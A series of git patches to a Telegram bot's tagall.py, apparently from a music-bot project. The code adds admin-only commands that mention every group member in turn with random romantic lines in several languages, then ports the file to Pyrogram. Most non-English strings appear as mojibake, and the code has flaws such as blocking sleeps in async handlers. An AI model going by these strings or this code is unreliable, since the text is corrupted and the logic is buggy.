+ "àš®à©àš àš€à©àš¹àšŸàššà©à©° àšžàšŸàš°à© àšà©±àš®àš° àššàš¹à©àš àšà©àš²àšŠàšŸ, àš€à©àš¹àšŸàššà©à©° àšªàš¿àšàš° àšŠà© àšžàšàšŸ àšªàš¿àšàš° àšŠàšŸ àšžàšàšŸ àšªàš¿àšàš° àšŠà© àšžàš¿àšªàšŸàš¹à© àš¬àš£àšŸàšàšàšŸà¥€",
+ "àš€à©à©° àš®à©àš°à© àšŠàš¿àš² àšŠàšŸ àšžàšàšŸ àšªàš¿àšàš°, àš€à©àš°à© àš¬àš¿àššàšŸ àš®à©àš°à© àšàš¿à©°àšŠàšà© àšŠàšŸ àšžàš àšà©àš àš¬à©àš¹à©±àšŠ àšžà©à©°àšŠàš° àš¹à©à¥€",
+ "àš®à©àš àš€à©àš¹àšŸàššà©à©° àšžàšŸàš°à© àšà©±àš®àš° àšŠàšŸ àšžàšŸàš¥à© àš¬àš£àšŸàšàšàšŸ, àš€à©àš¹àšŸàššà©à©° àšªàš¿àšàš° àšŠà© àšžàš àšà©àš àšžàšŸàšàšàšŸ àšàš°àšš àšŠàšŸ àšžàšŸàš¥à© àš¬àš£àšŸàšàšàšŸà¥€",
+ "àš®à©àš àš€à©àš¹àšŸàššà©à©° àšžàšŸàš°à© àšà©±àš®àš° àššàš¹à©àš àšà©àš²àšŠàšŸ, àš€à©àš¹àšŸàššà©à©° àšªàš¿àšàš° àšŠà© àš°à©°àš àšŠà© àš°à©°àšà© àš¬àš£àšŸàšàšàšŸà¥€",
+ "àš€à©à©° àš®à©àš°à© àšàšŒàš¿à©°àšŠàšà© àšŠàšŸ àšàšŸàšàšŠ, àš€à©àš°à© àš¬àš¿àššàšŸ àš®à©àš°à© àšà©àšµàšš àšŠàšŸ àšžà©à©°àšŠàš° àšà©°àš àš¹à©à¥€",
+ "àš€à©à©° àš®à©àš°à© àšŠàš¿àš² àšŠàšŸ àšžàšàšŸ àšªàš¿àšàš°, àš€à©àš°à© àš¬àš¿àššàšŸ àš®à©àš°àšŸ àšŠàš¿àš² àšŠà© àšžàšàšŸ àšªàš¿àšàš° àšŠàšŸ àšžàšàšŸ àšªàš¿àšàš° àš¹à©à¥€",
+]
+
+
+@client.on(events.NewMessage(pattern="^/ptag ?(.*)"))
+async def mention_all(event):
+ chat_id = event.chat_id
+ if event.is_private:
+ return await event.respond(
+ "__This command can be used in groups and channels!__"
+ )
+
+ is_admin = False
+ try:
+ partici_ = await client(GetParticipantRequest(event.chat_id, event.sender_id))
+ except UserNotParticipantError:
+ is_admin = False
+ else:
+ if isinstance(
+ partici_.participant, (ChannelParticipantAdmin, ChannelParticipantCreator)
+ ):
+ is_admin = True
+ if not is_admin:
+ return await event.respond("ðð§ð¥ð² ðððŠð¢ð§ ððð§ ððð§ðð¢ðšð§ ððš ðð¥ð¥ ðððð²...")
+
+ if event.pattern_match.group(1):
+ return await event.respond("/ptag ð ðð²ð©ð ðð¢ð€ð ðð¡ð¢ð¬ ððð±ð ðð¢ðŠð ðð€ ð
ðšð« ððð ð ð¢ð§ð ..")
+ else:
+ mode = "text_on_cmd"
+ msg = event.pattern_match.group(1)
+ if msg is None:
+ return await event.respond(
+ "/ptag ð ðð²ð©ð ðð¢ð€ð ðð¡ð¢ð¬ ðð« ððð©ð¥ð² ðð§ð² ððð¬ð¬ðð ð..."
+ )
+
+ spam_chats.append(chat_id)
+ async for usr in client.iter_participants(chat_id):
+ if not chat_id in spam_chats:
+ break
+ user_id = usr.id
+ mention_text = f"[{usr.first_name}](tg://user?id={user_id}) {random.choice(PUNJABI)}"
+ await client.send_message(chat_id, mention_text)
+ time.sleep(5)
+
+ try:
+ spam_chats.remove(chat_id)
+ except:
+ pass
+
+
+INDO = [
+ "Kaulah sinar matahari dalam hidupku.",
+ "Jatuh cinta padamu adalah seperti bunga-bunga mekar di hatiku.",
+ "Bersamamu, setiap hari adalah petualangan yang tak terlupakan.",
+ "Cintaku untukmu tak akan pernah pudar, seperti bintang yang selalu bersinar di langit malam.",
+ "Kaulah nafas segar dalam pagi hariku.",
+ "Ketika kita bersama, dunia terasa sempurna.",
+ "Cintaku untukmu lebih dalam dari lautan yang tak berujung.",
+ "Kau adalah senyum terindah dalam hidupku.",
+ "Denganmu, aku merasa lengkap.",
+ "Kaulah mata air kebahagiaanku.",
+ "Cinta kita bagaikan lagu yang indah, selalu terdengar dalam hatiku.",
+ "Ketika kau tersenyum, dunia terasa lebih cerah.",
+ "Setiap detik bersamamu adalah berharga.",
+ "Cintaku padamu bagaikan api yang tak pernah padam.",
+ "Ketika kita bersama, waktu terasa berhenti.",
+ "Kaulah keajaiban dalam hidupku.",
+ "Cintaku untukmu tak bisa diukur, karena tak terbatas.",
+ "Kaulah impian yang selalu kuinginkan.",
+ "Bersamamu adalah tempat terbaik dalam dunia ini.",
+ "Cintaku padamu adalah seperti hujan lebat yang mengalir di hatiku.",
+ "Ketika kau dekat, hatiku berdebar lebih cepat.",
+ "Cintaku padamu melebihi segala kata-kata.",
+ "Kau adalah bagian terindah dalam hidupku.",
+ "Bersamamu adalah semua yang kubutuhkan.",
+ "Cintaku untukmu tak akan pernah luntur.",
+ "Kaulah cinta sejati dalam hidupku."
+]
+
+
+@client.on(events.NewMessage(pattern="^/itag ?(.*)"))
+async def mention_all(event):
+ chat_id = event.chat_id
+ if event.is_private:
+ return await event.respond(
+ "__This command can be used in groups and channels!__"
+ )
+
+ is_admin = False
+ try:
+ partici_ = await client(GetParticipantRequest(event.chat_id, event.sender_id))
+ except UserNotParticipantError:
+ is_admin = False
+ else:
+ if isinstance(
+ partici_.participant, (ChannelParticipantAdmin, ChannelParticipantCreator)
+ ):
+ is_admin = True
+ if not is_admin:
+ return await event.respond("ðð§ð¥ð² ðððŠð¢ð§ ððð§ ððð§ðð¢ðšð§ ððš ðð¥ð¥ ðððð²...")
+
+ if event.pattern_match.group(1):
+ return await event.respond("/itag ð ðð²ð©ð ðð¢ð€ð ðð¡ð¢ð¬ ððð±ð ðð¢ðŠð ðð€ ð
ðšð« ððð ð ð¢ð§ð ..")
+ else:
+ mode = "text_on_cmd"
+ msg = event.pattern_match.group(1)
+ if msg is None:
+ return await event.respond(
+ "/itag ð ðð²ð©ð ðð¢ð€ð ðð¡ð¢ð¬ ðð« ððð©ð¥ð² ðð§ð² ððð¬ð¬ðð ð..."
+ )
+
+ spam_chats.append(chat_id)
+ async for usr in client.iter_participants(chat_id):
+ if not chat_id in spam_chats:
+ break
+ user_id = usr.id
+ mention_text = f"[{usr.first_name}](tg://user?id={user_id}) {random.choice(INDO)}"
+ await client.send_message(chat_id, mention_text)
+ time.sleep(5)
+
+ try:
+ spam_chats.remove(chat_id)
+ except:
+ pass
+
+
+
+ARABIC = [
+ "ØÙÙÙ
ا ÙÙØªÙÙØ ÙØµØšØ Ø§ÙØ¹Ø§ÙÙ
Ø£ÙØ«Ø± Ø³ØØ±Ùا.",
+ "Ø¹ÙØ¯Ù
ا Ø£ÙØžØ± Ø¥ÙÙÙØ ÙÙ
ØªÙØŠ ÙÙØšÙ ØšØ§ÙØ³Ø¹Ø§Ø¯Ø©.",
+ "ÙÙØ§Ø€Ùا ÙØ§Ù Ù
ث٠اÙÙØ¯Ø±Ø Ù
ÙØªÙØš Ù
ÙØ° Ø§ÙØ£Ø²Ù.",
+ "Ø£ÙØª ÙÙØ³ ÙÙØ· ØØšÙØšÙØ ØšÙ Ø£ÙØª صدÙÙÙ Ø§ÙØ£Ø¹Ø² ÙØ±ÙØÙ.",
+ "عÙÙÙ٠تØÙ
٠اÙÙØ«Ùر Ù
Ù Ø§ÙØ£Ø³Ø±Ø§Ø± Ø§ÙØ¬Ù
ÙÙØ©.",
+ "ÙÙÙ
ا اؚتسÙ
ØªØ ÙØ²Ùر Ø§ÙØ¹Ø§ÙÙ
Ù
Ù ØÙÙÙ.",
+ "Ø£ØØš Ø£Ù Ø£Ù
ض٠ÙÙ ÙØØžØ© Ù
عÙ.",
+ "ØÙØ§ØªÙ ÙØ§ ØªÙØªÙ
Ù Ø¥ÙØ§ ØšÙ ØšØ¬Ø§ÙØšÙ.",
+ "ØµÙØªÙ ÙØ¹Ø²Ù أجÙ
Ù Ø§ÙØ£ÙØØ§Ù ÙÙ ÙÙØšÙ.",
+ "Ø£ØØšÙ ØšÙÙ Ù
ا Ø£Ù
ÙÙ ÙØšÙÙ Ù
ا Ø£ÙÙ٠عÙÙÙ.",
+ "Ø£ÙØª ÙØ¬Ù
Ø© ساطعة Ù٠سÙ
ا؊٠اÙÙØ§Ù
ØªÙØ§ÙÙØ©.",
+ "ÙØ§ ØªÙØ¬Ø¯ ÙÙÙ
ات تÙÙÙ ÙÙØµÙ Ù
Ø¯Ù ØØšÙ ÙÙ.",
+ "ÙÙØšÙ ÙÙØšØ¶ ØšÙÙØ© ÙÙÙ
ا ÙÙØª ØšØ¬ÙØ§Ø±Ù.",
+ "Ø£ÙØª Ø£Ù
ÙÙ ÙØ³Ø¹Ø§Ø¯ØªÙ ÙÙ ÙØ°Ù Ø§ÙØÙØ§Ø©.",
+ "Ø£ÙØª تÙ
ÙØ Ø§ÙØÙØ§Ø© Ù
عÙÙ ÙØ¬Ù
اÙÙØ§.",
+ "أتÙ
ÙÙ Ø£Ù ÙØ³ØªÙ
ر ØØšÙا Ø¥ÙÙ Ø§ÙØ£ØšØ¯ ÙØ£ØšØ¹Ø¯.",
+ "ØšØ¬Ø§ÙØšÙ أجد Ø§ÙØ³ÙاÙ
ÙØ§Ùسعادة.",
+ "Ø¹ÙØ¯Ù
ا تؚتسÙ
Ø ØªÙÙØ± ØÙØ§ØªÙ ÙØ§ÙØŽÙ
س.",
+ "ÙÙØšÙ ÙØ®ØšØ±Ù٠دا؊Ù
ÙØ§ Ø£ÙÙ Ø§ÙØŽØ®Øµ Ø§ÙØµØÙØ ØšØ§ÙÙØ³ØšØ© ÙÙ.",
+ "ØÙات٠Ù
ع٠ÙÙ Ø£ÙØ¶Ù ØÙاة ÙÙ
ÙÙÙ٠أ٠أØÙÙ
ØšÙØ§.",
+ "Ø£ÙØª جÙ
ÙÙØ© Ù
Ù Ø§ÙØ¯Ø§Ø®Ù ÙØ§Ùخارج.",
+ "ÙØ·Ø§ÙÙ
ا أع؎٠أÙÙØ§ØªÙا اÙÙ
Ù
ÙØ²Ø© سÙÙÙØ§.",
+ "Ø£ÙØª عاÙÙ
Ù ÙÙÙ ØŽÙØ¡ ÙÙÙ.",
+ "ØšØ¬Ø§ÙØšÙ أ؎عر ØšØ§ÙØ£Ù
Ø§Ù ÙØ§ÙØÙ
Ø§ÙØ©.",
+ "Ø£ÙØª ÙØ¹Ù
Ø© ÙØ§ ØªÙØ¯Ø± ؚثÙ
Ù ÙÙ ØÙاتÙ.",
+ "Ù٠أتÙÙÙ Ø£ØšØ¯ÙØ§ Ø¹Ù ØØšÙ ÙØ§ÙتÙ
اÙ
Ù ØšÙ.",
+ "Ø£ÙØª اÙÙØºØ² Ø§ÙØ°Ù Ø£Ø±ÙØ¯ أ٠أØÙÙ Ø·ÙØ§Ù ØÙاتÙ.",
+ "Ø¹ÙØ¯Ù
ا Ø£ÙÙÙ 'Ø£ØØšÙ'Ø ÙØ¥Ù ذÙÙ ÙØ¹Ù٠اÙÙØ«Ùر.",
+ "ÙØ§ ÙÙØ¬Ø¯ أجÙ
Ù Ù
Ù ØªÙØ§Ø¬Ø¯Ù ÙÙ ØÙاتÙ.",
+ "Ø£ÙØª رÙ
ز Ø§ÙØ¬Ù
Ø§Ù ÙØ§ÙØ£ÙØ§ÙØ© ؚاÙÙØ³ØšØ© ÙÙ.",
+ "ÙÙ ÙÙÙ
Ø£ÙØ¶ÙÙ Ù
ع٠ÙÙ ÙÙÙ
جÙ
ÙÙ ÙØ³Ø¹Ùد.",
+ "Ø¹ÙØ§ÙØªÙØ§ ÙÙ Ø£ÙØ«Ø± Ù
Ù Ù
جرد ØØšØ Ø¥ÙÙØ§ Ù
غاÙ
رة را؊عة.",
+ "ÙØ§ ÙÙÙ
Ù
ا ÙØØ¯Ø«Ø Ø³Ø£ÙÙ٠دا؊Ù
ÙØ§ ØšØ¬Ø§ÙØšÙ.",
+ "Ø£ØØš Ø£Ù Ø£Ø³Ù
ع ØµÙØªÙ ÙØ£Ø±Ù ÙØ¬ÙÙ ÙÙ ÙÙÙ
.",
+ "Ø£ÙØª Ù
ÙØ§Ø°Ù ÙÙ
صدر ÙÙØªÙ ÙÙ Ø§ÙØ£ÙÙØ§Øª Ø§ÙØµØ¹ØšØ©.",
+ "ØšØšØ³Ø§Ø·Ø©Ø Ø£ÙØª ØØš ØÙØ§ØªÙ ÙØ£Ù
Ù٠اÙÙØÙØ¯.",
+ "Ø£ÙØª تÙ
ÙØ Ø§ÙØÙØ§Ø© ÙÙÙÙØ§ ÙØ¬Ù
اÙÙØ§ Ù
ختÙÙÙØ§.",
+ "ØšØ¬Ø§ÙØšÙ أجد Ø§ÙØ³Ø¹Ø§Ø¯Ø© Ø§ÙØªÙ ØšØØ«Øª عÙÙØ§ Ø·ÙÙÙØ§Ù.",
+ "Ø¹ÙØ¯Ù
ا تضØÙØ ÙØ¶ÙØ¡ ÙÙÙ
Ù ØšØ§ÙØ³Ø±Ùر.",
+ "Ø£ÙØª سؚؚ اؚتساÙ
ت٠ÙÙØ±ØÙ Ø§ÙØ¯Ø§ØŠÙ
.",
+ "ØØšÙ Ù٠أجÙ
Ù ÙØ¯ÙØ© Ø£ÙØ¹Ù
ØšÙØ§.",
+ "أتÙ
Ù٠أ٠ت؞Ù٠دا؊Ù
ÙØ§ ØšØ¬Ø§ÙØšÙ ÙÙ Ù٠رØÙØ©.",
+ "ÙÙØšÙ ÙÙØšØ¶ ØšØ§Ø³Ù
Ù ÙÙØ·Ø Ø£ÙØª ØØš ØÙاتÙ.",
+ "ÙØ§ ØªÙØ¬Ø¯ ÙÙÙ
ات تص٠Ù
د٠ع؞Ù
Ø© Ù
ØŽØ§Ø¹Ø±Ù ÙØÙÙ.",
+ "Ø£ÙØª Ø§ÙØŽØ®Øµ Ø§ÙØ°Ù Ø£Ø±ÙØ¯ Ø£Ù Ø£ÙØ¶Ù ؚاÙÙ ØÙات٠Ù
عÙ.",
+ "Ø£ÙØª Ø£Ù
اÙÙ ÙØ£ØÙاÙ
Ù Ø§ÙØªÙ تتØÙÙ ÙÙÙ
ÙØ§ ؚعد ÙÙÙ
.",
+ "Ø£ÙØª Ø§ÙØŽØ®Øµ اÙÙØÙØ¯ Ø§ÙØ°Ù ÙØ¬Ø¹Ù ÙÙØšÙ ÙÙØšØ¶ ØšÙÙØ©.",
+ "ØÙÙÙ
ا Ø£ÙÙÙ ØšØ¬Ø§ÙØšÙØ Ø£ØŽØ¹Ø± Ø£ÙÙ Ù٠عاÙÙ
آخر.",
+ "Ø£ØØšÙ ÙØ£ÙÙ Ø£ÙØªØ ÙÙÙØ³ ÙØ£Ù ØŽÙØ¡ آخر.",
+ "Ø£ÙØª Ù
صدر اÙÙØ±Ø ÙÙ ØÙØ§ØªÙ ÙØ³ØšØš اؚتساÙ
تÙ.",
+ "ÙÙ ÙØØžØ© Ù
ع٠ÙÙ ÙØØžØ© ÙÙÙ
Ø© ÙÙ ØÙاتÙ.",
+ "ÙØ§ ØªÙØ¬Ø¯ ÙÙÙ
ات تÙÙÙ ØÙÙ ÙÙ ÙÙØšÙ.",
+]
+
+
+@client.on(events.NewMessage(pattern="^/atag ?(.*)"))
+async def mention_all(event):
+ chat_id = event.chat_id
+ if event.is_private:
+ return await event.respond(
+ "__This command can be used in groups and channels!__"
+ )
+
+ is_admin = False
+ try:
+ partici_ = await client(GetParticipantRequest(event.chat_id, event.sender_id))
+ except UserNotParticipantError:
+ is_admin = False
+ else:
+ if isinstance(
+ partici_.participant, (ChannelParticipantAdmin, ChannelParticipantCreator)
+ ):
+ is_admin = True
+ if not is_admin:
+ return await event.respond("ðð§ð¥ð² ðððŠð¢ð§ ððð§ ððð§ðð¢ðšð§ ððš ðð¥ð¥ ðððð²...")
+
+ if event.pattern_match.group(1):
+ return await event.respond("/atag ð ðð²ð©ð ðð¢ð€ð ðð¡ð¢ð¬ ððð±ð ðð¢ðŠð ðð€ ð
ðšð« ððð ð ð¢ð§ð ..")
+ else:
+ mode = "text_on_cmd"
+ msg = event.pattern_match.group(1)
+ if msg is None:
+ return await event.respond(
+ "/atag ð ðð²ð©ð ðð¢ð€ð ðð¡ð¢ð¬ ðð« ððð©ð¥ð² ðð§ð² ððð¬ð¬ðð ð..."
+ )
+
+ spam_chats.append(chat_id)
+ async for usr in client.iter_participants(chat_id):
+ if not chat_id in spam_chats:
+ break
+ user_id = usr.id
+ mention_text = f"[{usr.first_name}](tg://user?id={user_id}) {random.choice(ARABIC)}"
+ await client.send_message(chat_id, mention_text)
+ time.sleep(5)
+
+ try:
+ spam_chats.remove(chat_id)
+ except:
+ pass
+
+
+
+
+
+@client.on(events.NewMessage(pattern="^/cancel$"))
+@client.on(events.NewMessage(pattern="^/stop$"))
+async def cancel_spam(event):
+ if not event.chat_id in spam_chats:
+ return await event.respond("ððð«ð ððš ðð§ð² ððð§ðð¢ðšð§ ðð«ðšððð¬ð¬ ðð¬ ðððð«ððð ðð² ðð..")
+ is_admin = False
+ try:
+ partici_ = await client(GetParticipantRequest(event.chat_id, event.sender_id))
+ except UserNotParticipantError:
+ is_admin = False
+ else:
+ if isinstance(
+ partici_.participant, (ChannelParticipantAdmin, ChannelParticipantCreator)
+ ):
+ is_admin = True
+ if not is_admin:
+ return await event.respond("ðð¡ð¢ð¬ ððšðŠðŠðð§ð ðð¬ ðð§ð¥ð² ð
ðšð« ðððŠð¢ð§ð¬.. ððšð® ððð§'ð ðð¬ð ðð¡ð¢ð¬ ððšðŠðŠðð§ð..")
+
+ else:
+ try:
+ spam_chats.remove(event.chat_id)
+ except:
+ pass
+ return await event.respond("âŠðððšð©ð©ðð ððð§ðð¢ðšð§ ðððð²âŠ")
+
+
From 15a5d7438b130a1e01aa7569ea2707619bf13c08 Mon Sep 17 00:00:00 2001
From: Romaan <108215028+Romaan313@users.noreply.github.com>
Date: Wed, 6 Mar 2024 15:27:02 +0530
Subject: [PATCH 26/31] Update tagall.py
---
EsproMusic/tagall.py | 6 +++---
1 file changed, 3 insertions(+), 3 deletions(-)
diff --git a/EsproMusic/tagall.py b/EsproMusic/tagall.py
index 4a342e5..8f9eacb 100644
--- a/EsproMusic/tagall.py
+++ b/EsproMusic/tagall.py
@@ -236,13 +236,13 @@ async def mention_all(event):
" **ðððš ððð«ðð² ððð«ðð ððð¢ð§ðð¥³** ",
" **ðððŠð¥ðšðšð§** ",
" **ðð®ð£ð¡ð ðð¡ð®ð¥ ðð²ð ðð²ðð¥º** ",
- " **ððð¡ð ðð ðððš:- [ @NOxDISCUSSION] ððð¬ðð¢ ððð«ðð§ð ð ð€ð€** ",
+ " **ððð¡ð ðð ðððš:- [ @lI_HEERIYE_ll] ððð¬ðð¢ ððð«ðð§ð ð ð€ð€** ",
" **ðð«ð®ðð¡ ðð§ð ððð«ð ðð¡ðð¥ðšð ð..? ð** ",
" **ððð£ ðð®ðŠðŠð² ðð ðððð ðð«ð¥ºð¥º** ",
- " **ððšð¢ð§ ððð« ððš:- [ @NOxDISCUSSION ] ð€** ",
+ " **ððšð¢ð§ ððð« ððš:- [ @lI_HEERIYE_ll ] ð€** ",
" **ðð€ ðð¢ð¥ ððð¢ ðð€ ðð¢ð¥ ðð¢ ððš ððð¢ðð** ",
" **ðð®ðŠð¡ðð«ð ððšð¬ð ððð¡ð ðð²ðð¥º** ",
- " **ðð² ðð®ðð ðð°ð§ðð« [ @FENIXsSLAYER ]ð¥°** ",
+ " **ðð² ðð®ðð ðð°ð§ðð« [ @ll_TANU_ROM_ll ]ð¥°** ",
" **ððð¡ð ðð¡ðšð²ð ððš ðððð§ð** ",
" **ððšðšð ð8 ðð¢ ðð¡ð®ð ððð ððš ð ð²ð¢ð¥°** ",
]
From a85095f3656f1e889b8cb1040642401adbd30d54 Mon Sep 17 00:00:00 2001
From: Romaan <108215028+Romaan313@users.noreply.github.com>
Date: Wed, 6 Mar 2024 15:28:53 +0530
Subject: [PATCH 27/31] Update tagall.py
From b37d691bd6bc3033bc598d63d8557deeb0b696bc Mon Sep 17 00:00:00 2001
From: Romaan <108215028+Romaan313@users.noreply.github.com>
Date: Wed, 6 Mar 2024 19:51:25 +0530
Subject: [PATCH 28/31] Update tagall.py
---
EsproMusic/tagall.py | 1236 ++++--------------------------------------
1 file changed, 96 insertions(+), 1140 deletions(-)
diff --git a/EsproMusic/tagall.py b/EsproMusic/tagall.py
index 8f9eacb..c850f8a 100644
--- a/EsproMusic/tagall.py
+++ b/EsproMusic/tagall.py
@@ -1,74 +1,13 @@
-import time
-import os, logging, asyncio, random
-from telethon import Button
-from telethon import TelegramClient, events
-from telethon.tl.types import ChannelParticipantAdmin
-from telethon.tl.types import ChannelParticipantCreator
-from telethon.tl.functions.channels import GetParticipantRequest
-from telethon.errors import UserNotParticipantError
-
-from config import BOT_TOKEN as bot_token, API_ID as api_id, API_HASH as api_hash
-
-logging.basicConfig(
- level=logging.INFO,
- format='%(name)s - [%(levelname)s] - %(message)s'
-)
-LOGGER = logging.getLogger(__name__)
-
-client = TelegramClient('client', api_id, api_hash).start(bot_token=bot_token)
-
+from VIPMUSIC import app
+import asyncio
+import random
+from pyrogram import Client, filters
+from pyrogram.enums import ChatType, ChatMemberStatus
+from pyrogram.errors import UserNotParticipant
+from pyrogram.types import ChatPermissions
spam_chats = []
-
-@client.on(events.NewMessage(pattern="^/htag ?(.*)"))
-async def mention_all(event):
- chat_id = event.chat_id
- if event.is_private:
- return await event.respond(
- "__This command can be used in groups and channels!__"
- )
-
- is_admin = False
- try:
- partici_ = await client(GetParticipantRequest(event.chat_id, event.sender_id))
- except UserNotParticipantError:
- is_admin = False
- else:
- if isinstance(
- partici_.participant, (ChannelParticipantAdmin, ChannelParticipantCreator)
- ):
- is_admin = True
- if not is_admin:
- return await event.respond("ðð§ð¥ð² ðððŠð¢ð§ ððð§ ððð§ðð¢ðšð§ ððš ðð¥ð¥ ðððð²...")
-
- if event.pattern_match.group(1):
- return await event.respond("/htag ð ðð²ð©ð ðð¢ð€ð ðð¡ð¢ð¬ ððð±ð ðð¢ðŠð ðð€ ð
ðšð« ððð ð ð¢ð§ð ..")
- else:
- mode = "text_on_cmd"
- msg = event.pattern_match.group(1)
- if msg is None:
- return await event.respond(
- "/htag ð ðð²ð©ð ðð¢ð€ð ðð¡ð¢ð¬ ðð« ððð©ð¥ð² ðð§ð² ððð¬ð¬ðð ð..."
- )
-
- spam_chats.append(chat_id)
- async for usr in client.iter_participants(chat_id):
- if not chat_id in spam_chats:
- break
- user_id = usr.id
- mention_text = f"[{usr.first_name}](tg://user?id={user_id}) {random.choice(TAGMES)}"
- await client.send_message(chat_id, mention_text)
- time.sleep(5)
-
- try:
- spam_chats.remove(chat_id)
- except:
- pass
-
-
-
-
EMOJI = [ "ðŠðŠðŠðŠðŠ",
"ð§ðžð§ð¬ð«",
"ð¥ð·ð¹ðºð",
@@ -108,56 +47,8 @@ async def mention_all(event):
"ð¥ªð°ð¥§ðšðš",
" ð¥¬ðð§ð§",
]
-
-@client.on(events.NewMessage(pattern="^/etag ?(.*)"))
-async def mention_all(event):
- chat_id = event.chat_id
- if event.is_private:
- return await event.respond(
- "__This command can be used in groups and channels!__"
- )
- is_admin = False
- try:
- partici_ = await client(GetParticipantRequest(event.chat_id, event.sender_id))
- except UserNotParticipantError:
- is_admin = False
- else:
- if isinstance(
- partici_.participant, (ChannelParticipantAdmin, ChannelParticipantCreator)
- ):
- is_admin = True
- if not is_admin:
- return await event.respond("ðð§ð¥ð² ðððŠð¢ð§ ððð§ ððð§ðð¢ðšð§ ððš ðð¥ð¥ ðððð²...")
-
- if event.pattern_match.group(1):
- return await event.respond("/etag ð ðð²ð©ð ðð¢ð€ð ðð¡ð¢ð¬ ððð±ð ðð¢ðŠð ðð€ ð
ðšð« ððð ð ð¢ð§ð ..")
- else:
- mode = "text_on_cmd"
- msg = event.pattern_match.group(1)
- if msg is None:
- return await event.respond(
- "/etag ð ðð²ð©ð ðð¢ð€ð ðð¡ð¢ð¬ ðð« ððð©ð¥ð² ðð§ð² ððð¬ð¬ðð ð..."
- )
-
- spam_chats.append(chat_id)
- async for usr in client.iter_participants(chat_id):
- if not chat_id in spam_chats:
- break
- user_id = usr.id
- mention_text = f"[ {random.choice(EMOJI)} ](tg://user?id={usr.id})"
- await client.send_message(chat_id, mention_text)
- time.sleep(5)
-
- try:
- spam_chats.remove(chat_id)
- except:
- pass
-
-
-
-
-TAGMES = [ " **ððð² ðððð² ððð¡ð ððšð¥±** ",
+TAGMES = [ " **ððð² ðððð² ððð¡ð ððšð€ð¥±** ",
" **ðð²ð ððš ðð²ð ðð²ð ðð§ð¥ð¢ð§ð ðððšð** ",
" **ðð ðð¡ðð¥ðš ððððð§ ððð«ðð ððð¢ð§ ðð®ðð¡ ðð®ðð¡ð** ",
" **ðð¡ðð§ð ðð¡ð ðð¢ð²ð ðð¢..??ð¥²** ",
@@ -236,1061 +127,131 @@ async def mention_all(event):
" **ðððš ððð«ðð² ððð«ðð ððð¢ð§ðð¥³** ",
" **ðððŠð¥ðšðšð§** ",
" **ðð®ð£ð¡ð ðð¡ð®ð¥ ðð²ð ðð²ðð¥º** ",
- " **ððð¡ð ðð ðððš:- [ @lI_HEERIYE_ll] ððð¬ðð¢ ððð«ðð§ð ð ð€ð€** ",
+ " **ððð¡ð ðð ðððš:-[@TG_FRIENDSS] ððð¬ðð¢ ððð«ðð§ð ð ð€ð€** ",
" **ðð«ð®ðð¡ ðð§ð ððð«ð ðð¡ðð¥ðšð ð..? ð** ",
" **ððð£ ðð®ðŠðŠð² ðð ðððð ðð«ð¥ºð¥º** ",
- " **ððšð¢ð§ ððð« ððš:- [ @lI_HEERIYE_ll ] ð€** ",
+ " **ððšð¢ð§ ððð« ððšð€** ",
" **ðð€ ðð¢ð¥ ððð¢ ðð€ ðð¢ð¥ ðð¢ ððš ððð¢ðð** ",
" **ðð®ðŠð¡ðð«ð ððšð¬ð ððð¡ð ðð²ðð¥º** ",
- " **ðð² ðð®ðð ðð°ð§ðð« [ @ll_TANU_ROM_ll ]ð¥°** ",
+ " **ðð² ðð®ðð ðð°ð§ðð«{ @THE_VIP_BOY}ð¥°** ",
" **ððð¡ð ðð¡ðšð²ð ððš ðððð§ð** ",
" **ððšðšð ð8 ðð¢ ðð¡ð®ð ððð ððš ð ð²ð¢ð¥°** ",
]
-@client.on(events.NewMessage(pattern="^/tagall ?(.*)"))
-@client.on(events.NewMessage(pattern="^@all ?(.*)"))
-@client.on(events.NewMessage(pattern="^/utag ?(.*)"))
-@client.on(events.NewMessage(pattern="^@utag ?(.*)"))
-@client.on(events.NewMessage(pattern="^/all ?(.*)"))
-@client.on(events.NewMessage(pattern="^#all ?(.*)"))
-@client.on(events.NewMessage(pattern="^@tagall ?(.*)"))
-@client.on(events.NewMessage(pattern="^/mentionall?(.*)"))
-@client.on(events.NewMessage(pattern="^@mentionall ?(.*)"))
-@client.on(events.NewMessage(pattern="^#mentionall ?(.*)"))
-@client.on(events.NewMessage(pattern="^/mention ?(.*)"))
-@client.on(events.NewMessage(pattern="^@mention ?(.*)"))
-@client.on(events.NewMessage(pattern="^#mention ?(.*)"))
-@client.on(events.NewMessage(pattern="^/tag ?(.*)"))
-@client.on(events.NewMessage(pattern="^#tag ?(.*)"))
-@client.on(events.NewMessage(pattern="^@tag ?(.*)"))
-@client.on(events.NewMessage(pattern="^#utag ?(.*)"))
-@client.on(events.NewMessage(pattern="^#tagall ?(.*)"))
-async def mentionall(event):
- chat_id = event.chat_id
- if event.is_private:
- return await event.respond(
- "__This command can be use in groups and channels!__"
- )
+VC_TAG = [ "**ðððŽ ðð² ðð°ðŸ ðð° ðð»ðð¥²**",
+ "**ððŸðžðœ ðð² ð
ð°ðð ððð ððŒð°ð¿ðŸððð°ðœðð¬**",
+ "**ððŸðŒðŽ ð
ð² ð±ð°ð±ð ðµð°ððð**",
+ "**ðð°ð±ð ðððŒ ðð·ðž ðð·ðŸðð° ðð² ðð°ðœð°ð¥°**",
+ "**ðððŽ ðð·ð°ðŒðð ðð² ðð° ððº ðð°ðŒ ðð°ðžð€š**",
+ "**ðððœðŸ ðð² ððŸðžðœ ðð ððŸð€£**",
+ "**ðð² ðð° ðð°ðžððŽ ððº ðð°ðð**",
+ "**ðð² ðð°ð¿ðºðŸ ðð°ðŒðŽ ðð·ð°ð»ð ðð°ðžâœ**",
+ "**ðð² ðð°ðŸ ðð°ððœð° ðð°ðœ ððŸ ðð°ðŸð¶ðŽð¥º**",
+ "**ððŸððð ðð°ð±ð ðð»ð ðð² ðð° ðð°ðŸ ðð°ð¥**",
+ "**ðð² ðð°ðœð° ððº ðð·ðžð¹ ððžðºð·ð°ððž ððð**",
+ "**ðð² ððŽ ðð·ðŽð²ðº ðððºðŽ ðð°ðð°ðŸ ððŸ ððŸðœð¶ ðð»ð°ð ððŸ ðð·ð° ð?ð€**",
+ "**ðð² ððŸðžðœ ðððœðŽ ððŽ ððð° ðð°ðð° ð ðð·ðŸðð° ððŽð ðð°ð ððŸ ðð°ð**",
+ ]
+
+
+@app.on_message(filters.command(["tagall"], prefixes=["/", "@", ".", "#"]))
+async def mentionall(client, message):
+ chat_id = message.chat.id
+ if message.chat.type == ChatType.PRIVATE:
+ return await message.reply("ðð¡ð¢ð¬ ððšðŠðŠðð§ð ðð§ð¥ð² ð
ðšð« ðð«ðšð®ð©ð¬.")
is_admin = False
try:
